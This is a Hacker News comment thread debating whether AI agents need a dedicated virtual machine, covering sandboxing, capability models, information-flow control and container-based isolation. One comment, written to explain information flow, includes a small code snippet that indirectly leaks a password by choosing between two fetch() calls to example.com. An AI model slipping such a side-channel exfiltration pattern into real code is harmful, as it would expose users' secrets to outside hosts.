HN Reader

I don't see the case for, what IMO is, more complexity by creating a virtual machine.

We have user accounts, Read/Write/Exec for User/Groups. Read can grant access tokens which solves temporary+remote requirements. Every other capabilities model can be defined in those terms.

I'd much rather see a simplification of the tools already available, then re-inventing another abstract machine / protocol.

I hope we'll eventually get a fundamental shift in the approach to software as a whole. Currently, everybody is still experimenting with building more new stuff, but it is also a great opportunity to re-evaluate and, at acceptable cost, try to strip out all the cruft and reduce something to its simplest form.

For example - I found an MCP server I liked. Told Claude to remove all the mcp stuff and put it into a CLI. Now I can just call that tool (without paying the context cost). Took me 10 minutes. I doubt, Claude is smart enough to build it back in without heavy guidance.

I'm not reading a article on a web site that hijacks scroll.

A million years ago in AI time, AKA yesterday, there was a HN post from John Carmack talking about how Meta wasted a ton of time and money making XROS and how nowadays it doesn’t make any sense to write a new OS [1].

And then this post today which makes a very strong case for it. (Yes, a VM isn’t an entire OS, Yes, it would be lighter weight than a complete OS. Yes, it would be industry-wide. Yes, we’d likely use an existing OS or codebase to start. Yes, nuance.)

[1] https://news.ycombinator.com/item?id=45066395

This article is so devoid of specifics, I'm not entirely sure I know what they are proposing. A VM implies an instruction set of some kind with control flow, registers, etc. but they spend the whole article on authorization, which seems orthogonal to the concept. I think what they really mean is a sandbox, jail, or container where a "syscall" equivalent let's the model interact with the outside world.

That is the wrong abstraction to think at. The problem is not _which_ tools you give the LLM, the problem is what action it can do.

For example, in the book-a-ticket scenario - I want it to be able to check a few websites to compare prices, and I want it to be able to pay for me.

I don't want it to decide to send me to a 37 hour trip with three stops because it is 3$ cheaper.

Alternatively, I want to be able to lookup my benefits status, but the LLM should physically not be able to provide me any details about the benefits status of my coworkers.

That is the _same_ tool cool, but in a different scope.

For that matter, if I'm in HR - I _should_ be able to look at the benefits status of employees that I am responsible for, of course, but that creates an audit log, etc.

In other words, it isn't the action that matters, but what is the intent.

LLM should be placed in the same box as the user it is acting on-behalf-of.

If you look at how the most advanced commercial models are deployed they already have much of this, including isolation. This post is essentially sketching much of what I know already exists. Not in the literal OS sense, but in terms of all of the features suggested. It still isn’t enough. Agents need powerful access to things you care about to do their job. Granting them just enough permissions on the things you care about is much harder than containing the LLM, and that is already difficult. The right model for LLM security is an untrusted userspace, not an entire “OS”.

It feels like I'm getting more jaded everyday because the moment I started reading this article I was convinced it was written by an AI.

From a hosting perspective which the article talks about I would worry more about just keeping the AI agent functional/alive in a whatever environment a big challenge, using AI a great but stability in any basically use-case has been rough for me personally.

From a developer perspective I've been using devcontainers with rootless docker via wsl and while I'm sure there's some malware that can bypass that (where this VM approach would be a lot stronger) I feel a lot safer this way than running things on the host OS. Furthermore you get the same benefits like reproducibility and separation of concerns and whenever the AI screws something up in your environment you can simply rebuild the container.

After reading this more closely and following some of the links I think this post is really pointing to something more foundational than the "VM for AI" summary implies.

The VM analogy is simply insufficient for securing LLM workflows where you can't trust the LLM to do what you told it to with potentially sensitive data. You may have a top-level workflow that needs access to both sensitive operations (network access) and sensitive data (PII, credentials), and an LLM that's susceptible to prompt injection attacks and general correctness and alignment problems. You can't just run the LLM calls in a VM with access to both sensitive operations and data.

You need to partition the workflow, subtasks, operations, and data so that most subtasks have a very limited view of the world, and use information-flow to track data provenance. The hopefully much smaller subset of subtasks that need both sensitive operations and data will then need to be highly trusted and reviewed.

This post does touch on that though. The really critical bit, IMO, is the "Secure Orchestrators" part, and the FIDES paper, "Securing AI Agents with Information-Flow Control" [1].

The "VM" bit is running some task in a highly restricted container that only has access to the capabilities and data given to it. The "orchestrator" then becomes the critical piece that spawns these containers, gives them the appropriate capabilities, and labels the data they produce correctly (taint-tracking: data derived from sensitive data is sensitive, etc.).

They seem on the right track to me, and I know others working in this area who would agree. I think they need a better hook than "VMs for AI" though. Maybe "partitioning" or "isolation" and emphasize the data part somehow.

[1]: https://arxiv.org/pdf/2505.23643

If only we had examples of lightweight, embeddable, portable, simple-bytecode-driven virtual machines.

It's just too bad tcl, lua, forth, js, wasm, etc just aren't AI-scale.

When you use ChatGPT and it executes code, i.e. when you tell it to do something with a CSV file, it seems to run in a VM with certain tools and libraries available to it, and a sandboxed disk access; no internet access though. So it's kind of already there.

We do, it's called running it in docker.

VMs are missing the point here. Yes, you don't want a rogue MCP that lets the model exfiltrate random data from the disk. But in general we are tending towards a world where AI agents are allowed to do everything that people can do.

Really, what you should be looking at is that you've hired a potentially malicious person to do something on your behalf. Obviously if you don't give them access to your tax documents, they can't read your tax documents. But the kinds of tasks you will want this agent to do at some point are to manage your calendar, read your email, perhaps even summarize your finances. There's no VM that somehow patches the Wells Fargo site to only give you your bank statements and not let you send money to people. The idea of trying to "sandbox" this barely even makes sense because we haven't historically tried to isolate this kind of operation. But, as people keep putting models in new places, it's evident that something like that will have to evolve here. And it's definitely not going to be Qubes, or the JVM, or WebAssembly, or the dozen other things that people have been suggesting as solutions to the problem.

Fuchsia seems like a potentially practical OS for constraining the operations of AI models. As an object capability operating system, each component (and hence the process that one is instantiated in) has access only to the capabilities that it is explicitly granted.

There are many comments that don't see the point of the article. For example, why not just use the tools the operating system provides for sandboxing? This article seems to be directed at people familiar with the state of programming languages research (SIGPLAN is the Special Interest Group on Programming LANguages) and so I think it's understandable that it seems vague if one is missing the broader context. However, for people familiar with the state of the field, the main idea is fairly clear.

An operating system (or sandbox, or whatever) is a very large virtual machine, where the "instructions" are the normal CPU instructions plus the set of syscalls. Unfortunately, operating systems today are complicated, hard to understand, and (relatively) hard to modify. For example, there are many different ways to sandbox file system access (chmod, containers, chroot, sandbox-exec on macOS etc.) and they each have bugs that have turned into "features" or subtle semantics. Plus, they are not available on all operating systems or even on all distributions of the same operating system. And then -- how do filesystem permissions and network permissions interact? Even of both of their semantics are "safe," is the composition of the two safe?

The assumption is: because operating systems are so complex, large, and underspecified, it probably is dangerous for LLMs to interact directly with the underlying operating system. We have observed this empirically: through CVEs in C and C++ code, we know that subtle errors or small differences in semantics can cascade into huge security vulnerabilities.

To address this, the authors propose that LLMs instead interact with a virtual machine where, for example, the semantics of permissions and/or capabilities is well-defined and standardized across different implementations or operating systems. (This is why they mention Java as an analogy -- the JVM gave developers the ability to write code for a vast array of architectures and operating systems without having to think about the underlying implementations.) This standardization makes it easier to understand how exactly an LLM would be allowed to interact with the outside world.

Besides semantic understanding and clarity, there are more benefits to designing a new virtual machine.

- Standardization across multiple model providers (mentioned).

- Better RLHF / constrained generation opportunity than general Bash output.

- Can incorporate advances in programming language theory and design.

For an example of the last point, in recent years, there has been a ton of research on information flow for security and privacy (mentioned in the article). In a programming language that is aware of information flow, I can mark my bank account password as "secret" and the input to all HTTP calls as "public." The type system or some other static analysis can verify that my password cannot possibly affect the input to any HTTP call. This is harder than you think because it depends on control flow! For example, the following program indirectly exfiltrates information about my password:

    if (password.startsWith("hackernews")) {
      fetch("https://example.com/a");
    } else {
      fetch("https://example.com/b");
    }

Obviously, nobody would write that code, but people do write similar code with bugs in e.g. timing attacks.

What problem do they want to solve?

From a security perspective, the real problem seems to me that LLMs cannot distinguish between instructions and data; I don't see how this proposal even attempts to address this, but then I haven't really understood their problem description (if there was one).

Does AI need a vm OR can AI emulate a vm all in one shot? I think the latter is going to happen.

The concept that LLMs will need to have strong isolation and that this is done with the same sort of diligence normally applied to virtual machine design makes a ton of sense. It's exactly the same reason we enforce such behaviours in operating systems.

I took a first pass at enumerating some ideas a few weeks ago: https://davehudson.io/blog/2025-08-11

My thought was to try and define this in a slightly more concrete way by thinking about analogies between the way LLMs operate and more conventional OS processes/tasks.

Building some of the core abstractions isn't too hard - I already have one that unifies the chat and tool use interfaces for 8 different LLM backends. That lets tool approvals be managed in a centralized way. I've not yet implemented a capabilities model but it feels natural, and I worked with one back in the 90s (VSTa if anyone is interested in historical OSes). A key part will be to allow one LLM to delegate a subset of its current capabilities to another (I already built the delegation tooling)

If you're interested in running agents (specifically for software dev) inside a sandbox, OpenHands [1] runs in Docker by default, and can run on Kubernetes or on a raw VM. It gets access to the standard tools (e.g. file ops, bash) as well as a web browser and a Jupyter notebook.

[1] https://github.com/All-Hands-AI/OpenHands

AI agents don't need a virtual machine, the play is to do an inversion of control. AI dispatches intents to a queue, and executors map intents to actions with whitelists and static analysis.

I doubt how much its good but I really like playing with kvmserver by fwsgonzo who is a coder that I compare in the likes with bellard. https://github.com/libriscv/kvmserver

I do believe it’s time for systems folks to take a hard look at building systems abstractions on top of LLMs as they did 50 years ago on top of CPUs. LLMs are the new universal computing machines, but we build with them like we built computers in the 1950s - one computer at a time.

Basically, this is about implementing core AI primitives (chat completion, tool calling, context management) at the system layer, instead of the application or framework layer like it is today.

If you're curious to see one real-life implementation of this (I'm sure there are others), we're pretty far along in doing this with Dagger:

- We already had system primitives for running functions in a sandboxed runtime

- We added the ability for functions to 1) prompt LLMs, and 2) pass other functions to the LLMs as callbacks.

- This way, a function can call LLMs, a LLM can call functions, in any permutation.

- This allows exploring the full spectrum from fully deterministic workflows, to autonomous agents, and everything in between - without locking yourself in a particular programming language, library or framework.

- We've also experimented with passing objects to the LLM, and mapping each of the object's methods to a tool call. This opens interesting possibilities, since the objects can carry state - effectively extending the LLM's context from text only, to arbitrary structured data, without additional dependencies like complex databases etc.

Relevant documentation page: https://docs.dagger.io/features/llm

Very wrong headed. If all of the routers and checks worked: you could transmit pure noise into them and get safe useful actions at some rate. I.e.: the check system as least as hard as the original problem.

No, they do not need one. The article paints VM as a very broad definition, mostly revolving around permissions for accessing things or executing actions.

I know this is not really what they mean, but in case you want to give AI a literal VM, I have a service that deploys a VM with an open source AI agent on it that can act as a sysadmin. Also gets it's own IP address. https://mindroot.io

I would say we need a webassembly VM/runtime.

You don't need a VM for your agent, just a separate user account is plenty.

Wasn’t there a sci-fi where they kill someone to make a brain scan AI and then have them go to a virtual office for eternity complete with a call from mom each day

is this just describing in theory what bytebot.ai does in practice? i'm a user just started hacking on it

Why is the author conflating a virtual machine (a deployment mechanism) with security?

I think containers provide virtually everything this argues for and don't require any especially new or different technology. Perhaps some more granular features to help with isolation and harden up the security but this is just surface layer things.